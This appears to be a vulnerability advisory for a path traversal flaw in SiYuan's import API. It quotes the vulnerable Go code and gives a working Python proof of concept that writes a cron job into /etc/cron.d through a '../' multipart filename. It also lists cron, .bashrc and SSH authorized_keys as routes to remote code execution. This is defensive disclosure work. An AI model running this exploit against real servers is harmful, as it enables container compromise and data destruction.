Lack of data validation - Path Traversal In github.com/siyuan-note/siyuan/kernel

Description

SiYuan importSY/importZipMd: path traversal via multipart filename enables arbitrary file write

Summary

POST /api/import/importSY and POST /api/import/importZipMd write uploaded archives to a path derived from the multipart filename field without sanitization, allowing an admin to write files to arbitrary locations outside the temp directory - including system paths that enable RCE.

Details

File: kernel/api/import.go - functions importSY and importZipMd

file := files[0]
writePath := filepath.Join(util.TempDir, "import", file.Filename)
writer, err := os.OpenFile(writePath, os.O_RDWR|os.O_CREATE, 0644)

importZipMd has a second traversal in unzipPath construction:

filenameMain := strings.TrimSuffix(file.Filename, filepath.Ext(file.Filename))
unzipPath    := filepath.Join(util.TempDir, "import", filenameMain)
gulu.Zip.Unzip(writePath, unzipPath)

filepath.Join calls filepath.Clean internally, but cleaning happens after concatenation - sufficient ../ sequences escape the base directory entirely. The curl tool sanitizes ../ in multipart filenames, so exploitation requires sending the raw HTTP request via Python requests or a custom client.

PoC

Environment:

docker run -d --name siyuan -p 6806:6806 \
  -v $(pwd)/workspace:/siyuan/workspace \
  b3log/siyuan --workspace=/siyuan/workspace --accessAuthCode=test123

Exploit:

import requests, zipfile, io

HOST  = "http://localhost:6806"
TOKEN = "YOUR_ADMIN_TOKEN"

buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
    z.writestr("TestNB/20240101000000-abcdefg.sy",...

RCE via cron (root container):

cron = b"* * * * * root touch /tmp/RCE_CONFIRMED\n"
r = requests.post(f"{HOST}/api/import/importSY",
    headers={"Authorization": f"Token {TOKEN}"},
    files={"file": ("../../../../../etc/cron.d/siyuan_poc", cron, "application/zip")},
    data={"notebook": "NOTEBOOK_ID", "toPath": "/"})

Confirmed response on v3.6.0: {"code":0,"msg":"","data":null}

Impact

An admin can write arbitrary content to any path writable by the SiYuan process:

    RCE via /etc/cron.d/ (root containers), ~/.bashrc, SSH authorized_keys

    Data destruction by overwriting workspace or application files

    In Docker containers running as root (common default), this grants full container compromise

Mitigation

Update Impact

Minimal update. May introduce new vulnerabilities or breaking changes.

Ecosystem
Package
Affected version